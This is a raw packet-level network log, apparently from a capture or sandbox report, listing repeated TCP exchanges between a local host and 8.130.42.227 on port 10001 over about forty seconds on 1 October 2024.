Oct 1, 2024 09:19:24.843811035 CEST	10001	49860	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:24.947304964 CEST	49861	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:24.952342033 CEST	10001	49861	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:24.952402115 CEST	49861	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:24.952651024 CEST	49861	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:24.957484007 CEST	10001	49861	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:25.934140921 CEST	10001	49861	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:25.934766054 CEST	10001	49861	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:25.934897900 CEST	49861	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:25.935338974 CEST	49861	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:25.940253019 CEST	10001	49861	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:26.086643934 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:26.091499090 CEST	10001	49862	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:26.091608047 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:26.094698906 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:26.099898100 CEST	10001	49862	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:27.087327003 CEST	10001	49862	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:27.087377071 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.087631941 CEST	10001	49862	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:27.087671041 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.196681023 CEST	49862	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.197154045 CEST	49863	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.201548100 CEST	10001	49862	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:27.201997042 CEST	10001	49863	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:27.202058077 CEST	49863	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.202214956 CEST	49863	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:27.206932068 CEST	10001	49863	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:28.172127962 CEST	10001	49863	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:28.172149897 CEST	10001	49863	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:28.172842026 CEST	49863	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:28.172842026 CEST	49863	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:28.177858114 CEST	10001	49863	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:28.292599916 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:28.297525883 CEST	10001	49864	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:28.300782919 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:28.300782919 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:28.305711031 CEST	10001	49864	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:29.264139891 CEST	10001	49864	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:29.264158964 CEST	10001	49864	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:29.264189005 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.264245033 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.264311075 CEST	49864	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.269030094 CEST	10001	49864	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:29.368805885 CEST	49865	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.373811007 CEST	10001	49865	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:29.373869896 CEST	49865	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.374037027 CEST	49865	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:29.379060030 CEST	10001	49865	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:30.313374043 CEST	10001	49865	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:30.313394070 CEST	10001	49865	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:30.316787004 CEST	49865	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:30.316787004 CEST	49865	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:30.321688890 CEST	10001	49865	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:30.432600021 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:30.437896967 CEST	10001	49866	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:30.438182116 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:30.438182116 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:30.443001986 CEST	10001	49866	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:31.392505884 CEST	10001	49866	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:31.392560959 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.392673016 CEST	10001	49866	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:31.392719984 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.508542061 CEST	49866	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.508907080 CEST	49867	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.513547897 CEST	10001	49866	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:31.515166044 CEST	10001	49867	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:31.515227079 CEST	49867	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.515368938 CEST	49867	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:31.520289898 CEST	10001	49867	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:32.462285042 CEST	10001	49867	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:32.462373972 CEST	10001	49867	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:32.464935064 CEST	49867	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:32.464935064 CEST	49867	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:32.469882965 CEST	10001	49867	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:32.572617054 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:32.577754021 CEST	10001	49868	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:32.580897093 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:32.580897093 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:32.585807085 CEST	10001	49868	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:33.550673008 CEST	10001	49868	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:33.550740004 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.550798893 CEST	10001	49868	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:33.550853014 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.668993950 CEST	49868	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.669416904 CEST	49869	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.673969984 CEST	10001	49868	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:33.674216032 CEST	10001	49869	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:33.674272060 CEST	49869	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.674436092 CEST	49869	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:33.679172993 CEST	10001	49869	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:34.629899979 CEST	10001	49869	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:34.630032063 CEST	10001	49869	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:34.630153894 CEST	49869	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:34.631596088 CEST	49869	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:34.636538029 CEST	10001	49869	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:34.743545055 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:34.748713970 CEST	10001	49870	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:34.748785019 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:34.748933077 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:34.753709078 CEST	10001	49870	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:35.695903063 CEST	10001	49870	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:35.695993900 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.695997000 CEST	10001	49870	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:35.696037054 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.748614073 CEST	49870	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.753432035 CEST	10001	49870	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:35.920615911 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.925523043 CEST	10001	49871	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:35.925761938 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.925762892 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:35.930649042 CEST	10001	49871	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:36.920609951 CEST	10001	49871	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:36.920643091 CEST	10001	49871	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:36.920659065 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:36.920707941 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:36.922534943 CEST	49871	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:36.927309990 CEST	10001	49871	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:37.040245056 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:37.045078993 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:37.045136929 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:37.045258999 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:37.049982071 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.425457954 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.425474882 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.425491095 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.425618887 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.425761938 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.425761938 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.428611040 CEST	49872	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.433362007 CEST	10001	49872	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.544564962 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.549484968 CEST	10001	49873	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:38.552687883 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.556296110 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:38.561129093 CEST	10001	49873	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:39.518117905 CEST	10001	49873	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:39.518145084 CEST	10001	49873	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:39.518197060 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.518197060 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.518351078 CEST	49873	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.523133039 CEST	10001	49873	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:39.633868933 CEST	49874	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.638777971 CEST	10001	49874	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:39.638851881 CEST	49874	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.638994932 CEST	49874	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:39.643784046 CEST	10001	49874	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:40.587492943 CEST	10001	49874	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:40.587564945 CEST	10001	49874	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:40.591059923 CEST	49874	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:40.591059923 CEST	49874	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:40.596687078 CEST	10001	49874	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:40.702826023 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:40.707760096 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:40.707954884 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:40.708197117 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:40.712992907 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.136219025 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.136235952 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.136245966 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.136311054 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.136364937 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.136476040 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.136538029 CEST	49875	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.141259909 CEST	10001	49875	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.242847919 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.247889042 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:42.250827074 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.250993967 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:42.255750895 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.230906010 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.230941057 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.230952024 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.230967999 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.231008053 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.231008053 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.231137991 CEST	49876	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.235891104 CEST	10001	49876	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.337469101 CEST	49877	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.342447996 CEST	10001	49877	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:43.342513084 CEST	49877	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.342744112 CEST	49877	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:43.347515106 CEST	10001	49877	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:44.303792000 CEST	10001	49877	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:44.303807974 CEST	10001	49877	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:44.304788113 CEST	49877	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:44.304788113 CEST	49877	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:44.309597969 CEST	10001	49877	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:44.416642904 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:44.422669888 CEST	10001	49878	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:44.424791098 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:44.424791098 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:44.429615974 CEST	10001	49878	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:45.387233973 CEST	10001	49878	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:45.387271881 CEST	10001	49878	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:45.387293100 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.387331009 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.390629053 CEST	49878	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.395406008 CEST	10001	49878	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:45.509160995 CEST	49879	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.516057968 CEST	10001	49879	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:45.516119003 CEST	49879	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.516238928 CEST	49879	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:45.523778915 CEST	10001	49879	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:46.466949940 CEST	10001	49879	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:46.466979980 CEST	10001	49879	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:46.467149019 CEST	49879	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:46.467149973 CEST	49879	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:46.471988916 CEST	10001	49879	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:46.572634935 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:46.577627897 CEST	10001	49880	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:46.580837965 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:46.580837965 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:46.585665941 CEST	10001	49880	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:47.532047033 CEST	10001	49880	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:47.532118082 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.532176971 CEST	10001	49880	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:47.532218933 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.532253027 CEST	49880	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.537054062 CEST	10001	49880	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:47.649596930 CEST	49881	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.654642105 CEST	10001	49881	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:47.654726028 CEST	49881	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.654915094 CEST	49881	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:47.659950018 CEST	10001	49881	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:48.613179922 CEST	10001	49881	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:48.613200903 CEST	10001	49881	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:48.616950989 CEST	49881	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:48.616950989 CEST	49881	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:48.621917963 CEST	10001	49881	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:48.727646112 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:48.732534885 CEST	10001	49882	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:48.732604980 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:48.732733011 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:48.737514973 CEST	10001	49882	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:49.687880039 CEST	10001	49882	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:49.687932014 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.688040972 CEST	10001	49882	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:49.688085079 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.804745913 CEST	49882	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.808629990 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.809518099 CEST	10001	49882	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:49.813453913 CEST	10001	49883	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:49.816719055 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.816788912 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:49.821531057 CEST	10001	49883	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:50.784029961 CEST	10001	49883	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:50.784049988 CEST	10001	49883	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:50.784094095 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.784153938 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.784323931 CEST	49883	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.790556908 CEST	10001	49883	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:50.951819897 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.956876040 CEST	10001	49884	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:50.956950903 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.960016012 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:50.964855909 CEST	10001	49884	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:51.912849903 CEST	10001	49884	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:51.912928104 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:51.912949085 CEST	10001	49884	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:51.912998915 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:51.913280010 CEST	49884	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:51.918020010 CEST	10001	49884	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:52.024631977 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:52.029593945 CEST	10001	49885	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:52.029671907 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:52.029941082 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:52.034663916 CEST	10001	49885	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:52.973845005 CEST	10001	49885	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:52.973922014 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:52.974042892 CEST	10001	49885	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:52.974090099 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:53.094769001 CEST	49885	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:53.095166922 CEST	49886	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:53.308054924 CEST	10001	49885	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:53.308072090 CEST	10001	49886	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:53.308163881 CEST	49886	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:53.367117882 CEST	49886	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:53.372710943 CEST	10001	49886	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:54.270142078 CEST	10001	49886	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:54.270160913 CEST	10001	49886	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:54.271034956 CEST	49886	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:54.271034956 CEST	49886	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:54.275876045 CEST	10001	49886	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:54.386884928 CEST	49887	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:54.392374992 CEST	10001	49887	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:54.395162106 CEST	49887	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:54.395162106 CEST	49887	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:54.400001049 CEST	10001	49887	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:58.400645971 CEST	49887	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:58.512640953 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:58.517586946 CEST	10001	49888	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:58.518883944 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:58.518883944 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:58.523736000 CEST	10001	49888	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:59.471184969 CEST	10001	49888	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:59.471237898 CEST	10001	49888	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:59.471246004 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.471292973 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.471359968 CEST	49888	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.476063013 CEST	10001	49888	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:59.587172031 CEST	49889	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.592259884 CEST	10001	49889	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:59.592319965 CEST	49889	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.592446089 CEST	49889	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:59.597208023 CEST	10001	49889	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:00.548245907 CEST	10001	49889	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:00.548260927 CEST	10001	49889	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:00.548335075 CEST	49889	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:00.548572063 CEST	49889	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:00.553344011 CEST	10001	49889	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:00.664635897 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:00.669951916 CEST	10001	49890	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:00.670105934 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:00.670236111 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:00.675008059 CEST	10001	49890	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:01.623522997 CEST	10001	49890	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:01.623572111 CEST	10001	49890	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:01.623606920 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.623651028 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.667278051 CEST	49890	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.672111034 CEST	10001	49890	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:01.791146994 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.796021938 CEST	10001	49891	8.130.42.227	192.168.2.4
Oct 1, 2024 09:20:01.796483994 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.800647974 CEST	49891	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:20:01.806077957 CEST	10001	49891	8.130.42.227	192.168.2.4
